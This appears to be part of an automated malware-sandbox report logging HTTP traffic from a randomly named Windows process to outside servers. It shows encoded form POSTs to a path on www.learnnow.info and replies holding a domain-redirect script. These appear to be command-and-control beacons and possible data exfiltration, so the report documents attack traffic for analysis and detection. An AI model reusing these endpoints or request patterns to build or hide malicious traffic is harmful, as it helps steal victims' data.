"https://0dyos.com");mappings.set("lingdianyun07.top", "https://0dyos.com");mappings.set("lingdianyun4.xyz", "https://0dyos.com");mappings.set("www.00000cloud.top", "https://0dyos.com");mappings.set("lingdianyun15.top", "https://0dyos.com");mappings.set("lingdianyun26.xyz", "https://0dyos.com");mappings.set("www.0dianyun17.xyz", "https://0dyos.com");mappings.set("www.0cloud2.top", "https://0dyos.com");mappings.set("www.lingdianyun19.top", "https://0dyos.com");mappings.set("lingdianyun39.top", "https://0dyos.com");mappings.set("lingdianyun16.xyz", "https://0dyos.com");mappings.set("www.0dianyun13.xyz", "https://0dyos.com");mappings.set("www.00dianyun3.xyz", "https://0dyos.com");mappings.set("lingdianyun25.xyz", "https://0dyos.com");mappings.set("www.lingdianyu [TRUNCATED]
Nov 28, 2024 09:16:01.158634901 CET	224	IN	Data Raw: 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 6c 69 6e 67 64 69 61 6e 79 75 6e 33 31 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 Data Ascii: ://0dyos.com");mappings.set("www.lingdianyun31.top", "https://0dyos.com");mappings.set("0dianyun3.xyz", "https://0dyos.com");mappings.set("0dy01.top", "https://0dyos.com");mappings.set("www.0dianyun3.xyz", "h
Nov 28, 2024 09:16:01.159358978 CET	1236	IN	Data Raw: 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 64 69 61 6e 79 75 6e 31 30 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 Data Ascii: ttps://0dyos.com");mappings.set("0dianyun10.xyz", "https://0dyos.com");mappings.set("0dianyun18.xyz", "https://0dyos.com");mappings.set("00dianyun2.xyz", "https://0dyos.com");mappings.set("0dianyun1.xyz", "https://0dyos.com");
Nov 28, 2024 09:16:01.159503937 CET	224	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 30 64 69 61 6e 79 75 6e 31 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a Data Ascii: "https://0dyos.com");mappings.set("www.0dianyun18.xyz", "https://0dyos.com");mappings.set("www.lingdianyun4.top", "https://0dyos.com");mappings.set("www.0dy123.xyz", "https://0dyos.com");mappings.set("www.0dy
Nov 28, 2024 09:16:01.160017967 CET	1236	IN	Data Raw: 76 73 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 6c 69 6e 67 64 69 61 6e 79 75 6e 33 31 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 Data Ascii: vs.xyz", "https://0dyos.com");mappings.set("www.lingdianyun31.xyz", "https://0dyos.com");mappings.set("lingdianyun18.top", "https://0dyos.com");mappings.set("lingdianyun21.xyz", "https://0dyos.com");mappings.set("www.lingdianyu
Nov 28, 2024 09:16:01.160193920 CET	224	IN	Data Raw: 61 6e 79 75 6e 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 30 64 69 61 6e 79 75 6e 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f Data Ascii: anyun8.xyz", "https://0dyos.com");mappings.set("00dianyun4.xyz", "https://0dyos.com");mappings.set("lingdianyun12.xyz", "https://0dyos.com");mappings.set("0dyvs.xyz", "https://0dyos.com");mappings.set("000dia
Nov 28, 2024 09:16:01.160522938 CET	1236	IN	Data Raw: 6e 79 75 6e 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 32 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 Data Ascii: nyun.top", "https://0dyos.com");mappings.set("lingdianyun24.xyz", "https://0dyos.com");mappings.set("www.lingdianyun30.xyz", "https://0dyos.com");mappings.set("lingdianyun28.top", "https://0dyos.com");mappings.set("www.0dy02.to
Nov 28, 2024 09:16:01.160713911 CET	224	IN	Data Raw: 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 30 32 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 Data Ascii: ://0dyos.com");mappings.set("lingdianyun02.xyz", "https://0dyos.com");mappings.set("lingdianyun23.xyz", "https://0dyos.com");mappings.set("www.00dianyun1.xyz", "https://0dyos.com");mappings.set("www.lingdiany
Nov 28, 2024 09:16:01.161035061 CET	1236	IN	Data Raw: 75 6e 32 34 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 32 36 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 Data Ascii: un24.top", "https://0dyos.com");mappings.set("lingdianyun26.top", "https://0dyos.com");mappings.set("www.0dyvs.top", "https://0dyos.com");mappings.set("www.lingdianyun20.top", "https://0dyos.com");mappings.set("www.lingdianyun1
Nov 28, 2024 09:16:01.161178112 CET	224	IN	Data Raw: 67 73 2e 73 65 74 28 22 30 64 79 65 73 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 37 2e 78 79 7a 22 2c 20 22 68 74 74 Data Ascii: gs.set("0dyes.xyz", "https://0dyos.com");mappings.set("lingdianyun7.xyz", "https://0dyos.com");mappings.set("www.lingdianyun07.top", "https://0dyos.com");mappings.set("www.vdoos.com", "https://0dyos.com");map
Nov 28, 2024 09:16:01.278723955 CET	1236	IN	Data Raw: 70 69 6e 67 73 2e 73 65 74 28 22 30 30 64 69 61 6e 79 75 6e 31 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 31 37 2e 74 Data Ascii: pings.set("00dianyun1.xyz", "https://0dyos.com");mappings.set("lingdianyun17.top", "https://0dyos.com");mappings.set("www.lingdianyun15.top", "https://0dyos.com");mappings.set("lingdianyun9.xyz", "https://0dyos.com");mappings.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50014	121.43.155.35	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:02.334196091 CET	547	OUT	GET /404o/?QhKxhNP=WKBQtURp4mxoG42HvJVFdxkBeoRQKLcKkncaZCQ6BKNKWWSe5DM6Y469mdl3/OFUlQwZCGrNWgxnPoxBbE5j38LAsK6uFZ8oMmHn4Vx5wOob/Qku77DXil1QxQESxukZTQ==&Yby=d2ydCtHpb8 HTTP/1.1 Host: www.lingdianyun29.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:16:03.757971048 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 14605 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 76 61 72 20 6d 61 70 70 69 6e 67 73 20 3d 20 6e 65 77 20 4d 61 70 28 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 30 64 69 61 6e 79 75 6e 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 30 30 30 30 63 6c 6f 75 64 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 30 37 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head><script type="text/javascript">var mappings = new Map();mappings.set("www.0dianyun8.xyz", "https://0dyos.com");mappings.set("00000cloud.top", "https://0dyos.com");mappings.set("lingdianyun07.top", "https://0dyos.com");mappings.set("lingdianyun4.xyz", "https://0dyos.com");mappings.set("www.00000cloud.top", "https://0dyos.com");mappings.set("lingdianyun15.top", "https://0dyos.com");mappings.set("lingdianyun26.xyz", "https://0dyos.com");mappings.set("www.0dianyun17.xyz", "https://0dyos.com");mappings.set("www.0cloud2.top", "https://0dyos.com");mappings.set("www.lingdianyun19.top", "https://0dyos.com");mappings.set("lingdianyun39.top", "https://0dyos.com");mappings.set("lingdianyun16.xyz", "https://0dyos.com");mappings.set("www.0dianyun13.xyz", "https://0dyos.com");mappings.set("www.00dianyun3.xyz", "https://0dyos.com");mappings.set("lingdianyun25.xyz", "https://0dyos.com");mappings.set("www.lingdianyu [TRUNCATED]
Nov 28, 2024 09:16:03.758352995 CET	224	IN	Data Raw: 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 6c 69 6e 67 64 69 61 6e 79 75 6e 33 31 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 Data Ascii: ://0dyos.com");mappings.set("www.lingdianyun31.top", "https://0dyos.com");mappings.set("0dianyun3.xyz", "https://0dyos.com");mappings.set("0dy01.top", "https://0dyos.com");mappings.set("www.0dianyun3.xyz", "h
Nov 28, 2024 09:16:03.758719921 CET	1236	IN	Data Raw: 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 64 69 61 6e 79 75 6e 31 30 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 Data Ascii: ttps://0dyos.com");mappings.set("0dianyun10.xyz", "https://0dyos.com");mappings.set("0dianyun18.xyz", "https://0dyos.com");mappings.set("00dianyun2.xyz", "https://0dyos.com");mappings.set("0dianyun1.xyz", "https://0dyos.com");
Nov 28, 2024 09:16:03.758936882 CET	224	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 30 64 69 61 6e 79 75 6e 31 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a Data Ascii: "https://0dyos.com");mappings.set("www.0dianyun18.xyz", "https://0dyos.com");mappings.set("www.lingdianyun4.top", "https://0dyos.com");mappings.set("www.0dy123.xyz", "https://0dyos.com");mappings.set("www.0dy
Nov 28, 2024 09:16:03.758956909 CET	1236	IN	Data Raw: 76 73 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 6c 69 6e 67 64 69 61 6e 79 75 6e 33 31 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 Data Ascii: vs.xyz", "https://0dyos.com");mappings.set("www.lingdianyun31.xyz", "https://0dyos.com");mappings.set("lingdianyun18.top", "https://0dyos.com");mappings.set("lingdianyun21.xyz", "https://0dyos.com");mappings.set("www.lingdianyu
Nov 28, 2024 09:16:03.758980036 CET	224	IN	Data Raw: 61 6e 79 75 6e 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 30 64 69 61 6e 79 75 6e 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f Data Ascii: anyun8.xyz", "https://0dyos.com");mappings.set("00dianyun4.xyz", "https://0dyos.com");mappings.set("lingdianyun12.xyz", "https://0dyos.com");mappings.set("0dyvs.xyz", "https://0dyos.com");mappings.set("000dia
Nov 28, 2024 09:16:03.759073019 CET	1236	IN	Data Raw: 6e 79 75 6e 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 32 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 Data Ascii: nyun.top", "https://0dyos.com");mappings.set("lingdianyun24.xyz", "https://0dyos.com");mappings.set("www.lingdianyun30.xyz", "https://0dyos.com");mappings.set("lingdianyun28.top", "https://0dyos.com");mappings.set("www.0dy02.to
Nov 28, 2024 09:16:03.759202003 CET	224	IN	Data Raw: 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 30 32 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 Data Ascii: ://0dyos.com");mappings.set("lingdianyun02.xyz", "https://0dyos.com");mappings.set("lingdianyun23.xyz", "https://0dyos.com");mappings.set("www.00dianyun1.xyz", "https://0dyos.com");mappings.set("www.lingdiany
Nov 28, 2024 09:16:03.759721041 CET	1236	IN	Data Raw: 75 6e 32 34 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 32 36 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 Data Ascii: un24.top", "https://0dyos.com");mappings.set("lingdianyun26.top", "https://0dyos.com");mappings.set("www.0dyvs.top", "https://0dyos.com");mappings.set("www.lingdianyun20.top", "https://0dyos.com");mappings.set("www.lingdianyun1
Nov 28, 2024 09:16:03.759928942 CET	224	IN	Data Raw: 67 73 2e 73 65 74 28 22 30 64 79 65 73 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 37 2e 78 79 7a 22 2c 20 22 68 74 74 Data Ascii: gs.set("0dyes.xyz", "https://0dyos.com");mappings.set("lingdianyun7.xyz", "https://0dyos.com");mappings.set("www.lingdianyun07.top", "https://0dyos.com");mappings.set("www.vdoos.com", "https://0dyos.com");map
Nov 28, 2024 09:16:03.880698919 CET	1236	IN	Data Raw: 70 69 6e 67 73 2e 73 65 74 28 22 30 30 64 69 61 6e 79 75 6e 31 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 31 37 2e 74 Data Ascii: pings.set("00dianyun1.xyz", "https://0dyos.com");mappings.set("lingdianyun17.top", "https://0dyos.com");mappings.set("www.lingdianyun15.top", "https://0dyos.com");mappings.set("lingdianyun9.xyz", "https://0dyos.com");mappings.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50015	199.192.23.123	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:09.778213978 CET	799	OUT	POST /d5up/ HTTP/1.1 Host: www.learnnow.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.learnnow.info Referer: http://www.learnnow.info/d5up/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 67 36 45 6d 44 72 78 4f 55 4c 57 71 70 6e 75 42 52 75 37 35 71 34 67 75 45 4d 66 6a 33 70 41 47 69 43 4b 45 64 6c 57 37 39 68 4d 52 4e 4a 41 44 34 62 63 4e 52 5a 7a 35 76 55 63 41 49 43 4a 4d 59 4b 64 6e 37 74 32 51 77 6f 34 70 75 2f 2f 34 72 32 44 6a 37 7a 34 35 5a 35 42 52 2b 2b 41 57 45 63 35 54 69 34 69 6e 51 56 63 72 70 76 31 70 73 4d 31 35 74 71 44 63 31 73 66 62 65 36 4e 4d 56 72 31 55 71 4d 7a 4d 69 51 47 66 49 6d 64 30 57 54 6b 4b 6c 62 54 64 30 4c 7a 6e 7a 57 43 71 2f 44 7a 53 6d 73 39 76 72 48 52 4f 38 58 36 4e 46 74 77 78 58 64 55 6d 30 71 6a 36 67 77 44 76 33 33 73 70 39 4c 59 3d Data Ascii: QhKxhNP=g6EmDrxOULWqpnuBRu75q4guEMfj3pAGiCKEdlW79hMRNJAD4bcNRZz5vUcAICJMYKdn7t2Qwo4pu//4r2Dj7z45Z5BR++AWEc5Ti4inQVcrpv1psM15tqDc1sfbe6NMVr1UqMzMiQGfImd0WTkKlbTd0LznzWCq/DzSms9vrHRO8X6NFtwxXdUm0qj6gwDv33sp9LY=
Nov 28, 2024 09:16:11.036739111 CET	533	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:16:10 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50016	199.192.23.123	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:12.448820114 CET	819	OUT	POST /d5up/ HTTP/1.1 Host: www.learnnow.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.learnnow.info Referer: http://www.learnnow.info/d5up/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 67 36 45 6d 44 72 78 4f 55 4c 57 71 71 48 2b 42 64 76 37 35 72 59 67 74 64 73 66 6a 35 4a 41 43 69 43 47 45 64 6b 69 4e 36 58 6b 52 4e 6f 77 44 2f 65 6f 4e 57 5a 7a 35 67 45 64 4b 56 53 4a 62 59 4b 51 53 37 6f 57 51 77 6f 73 70 75 38 72 34 72 6c 37 67 71 7a 34 2f 53 5a 42 54 36 2b 41 57 45 63 35 54 69 38 79 65 51 56 45 72 31 50 46 70 76 74 31 36 6b 4b 44 62 6a 38 66 62 4e 71 4e 49 56 72 31 32 71 4e 65 62 69 53 2b 66 49 69 5a 30 58 43 6b 46 38 4c 54 54 36 72 7a 31 38 6a 66 38 6d 53 4c 74 75 2b 38 41 32 6d 4e 54 77 42 4c 6e 66 50 34 5a 45 39 34 65 6b 35 72 4e 78 41 69 47 74 55 38 5a 6a 63 4f 4a 78 64 41 46 47 72 65 47 73 61 54 59 63 57 38 45 38 51 4e 6a Data Ascii: QhKxhNP=g6EmDrxOULWqqH+Bdv75rYgtdsfj5JACiCGEdkiN6XkRNowD/eoNWZz5gEdKVSJbYKQS7oWQwospu8r4rl7gqz4/SZBT6+AWEc5Ti8yeQVEr1PFpvt16kKDbj8fbNqNIVr12qNebiS+fIiZ0XCkF8LTT6rz18jf8mSLtu+8A2mNTwBLnfP4ZE94ek5rNxAiGtU8ZjcOJxdAFGreGsaTYcW8E8QNj
Nov 28, 2024 09:16:13.712052107 CET	533	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:16:13 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50017	199.192.23.123	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:15.108933926 CET	1836	OUT	POST /d5up/ HTTP/1.1 Host: www.learnnow.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.learnnow.info Referer: http://www.learnnow.info/d5up/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 67 36 45 6d 44 72 78 4f 55 4c 57 71 71 48 2b 42 64 76 37 35 72 59 67 74 64 73 66 6a 35 4a 41 43 69 43 47 45 64 6b 69 4e 36 58 73 52 4b 61 34 44 35 35 45 4e 58 5a 7a 35 6a 45 64 4a 56 53 4a 61 59 4b 59 65 37 6f 62 6e 77 72 55 70 76 63 33 34 38 6b 37 67 7a 6a 34 2f 64 35 42 65 2b 2b 41 48 45 64 4a 58 69 34 57 65 51 56 45 72 31 4e 64 70 34 73 31 36 69 4b 44 63 31 73 66 74 65 36 4e 6b 56 72 4d 42 71 4e 71 4c 69 69 65 66 49 43 4a 30 56 77 4d 46 6a 62 53 31 39 72 79 6d 38 6a 61 69 6d 54 6d 63 75 2f 49 35 32 68 68 54 30 6c 75 75 47 63 49 6d 62 4c 67 48 32 4f 75 30 78 67 2b 57 76 33 51 64 69 4d 53 77 39 38 45 6f 57 72 32 43 70 70 79 48 66 7a 77 69 73 57 59 71 4e 49 50 4c 54 50 4b 55 48 76 4e 63 6d 51 54 56 5a 72 7a 4a 2b 45 76 6e 36 68 70 6d 54 4c 6b 56 58 33 4a 4d 66 30 76 59 53 54 6b 63 50 35 35 51 76 6d 66 75 2b 51 54 5a 52 48 48 4c 79 4b 50 75 6f 4b 33 4b 55 74 4e 45 59 36 64 54 5a 4b 35 51 71 79 34 70 66 49 67 76 71 42 2f 69 67 55 7a 58 57 48 7a 6e 6e 38 50 32 64 57 70 54 66 70 [TRUNCATED] Data Ascii: 